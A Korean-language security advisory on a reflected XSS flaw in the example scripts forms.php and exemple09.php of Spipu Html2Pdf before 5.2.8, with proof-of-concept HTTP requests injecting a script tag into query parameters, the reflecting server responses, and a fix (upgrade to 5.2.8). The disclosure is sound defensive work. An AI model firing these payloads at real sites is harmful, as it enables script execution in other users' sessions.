
Spipu Html2Pdf < 5.2.8 - 예제 파일의 XSS 취약점
Spipu Html2Pdf < 5.2.8 - 예제 파일의 XSS 취약점
Spipu Html2Pdf 예제 파일의 Cross-Site-Scripting (XSS) 취약점입니다. 이 취약점으로 인해 공격자는 현재 로그인된 사용자의 컨텍스트에서 신뢰할 수 없는 JavaScript 코드를 실행할 수 있습니다.
취약점은 example9.php 및 forms.php 예제 파일에 전달되는 모든 매개변수에 존재합니다.
forms.php 스크립트에 대한 예제 요청:
GET /html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script> HTTP/1.1
Host: example.afine.com
Cookie: PHPSESSID=oiqo2oopiqt88teqgfb0a23vk0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
서버 응답:
HTTP/1.1 200 OK
Server: Apache
Content-Length: 2215
Connection: close
Content-Type: text/html; charset=UTF-8
[...]
<page footer="form">
<h1>Test de formulaire</h1><br>
<br>
<form action="http://example.afine.com:443/html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script>">
<input type="hidden" name="test" value="1">
[...]
example9.php 스크립트에 대한 예제 요청:
GET /html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/?nom=1 HTTP/1.1
Host: example.afine.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
서버 응답:
HTTP/1.1 200 OK
Date: Sat, 08 Jul 2023 18:32:51 GMT
Server: Apache
X-Powered-By: PHP/7.4.8
Content-Length: 795
Connection: close
Content-Type: text/html; charset=UTF-8
[...]
<body>
<br>
Ceci est un exemple de génération de PDF via un bouton :)<br>
<br>
<img src="http://example.afine.com/html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/res/exemple09.png.php?px=5&py=20" alt="image_php" ><br>
<br>
<br>
<form method="get" action="">
[...]
이 문제는 제공된 요청 매개변수의 무결성 검증 부족으로 인해 발생했습니다. 이 문제는 Spipu Html2Pdf 버전 5.2.8에서 수정되었습니다.
< 5.2.8
Spipu Html2Pdf를 5.2.8 이상으로 업데이트하세요.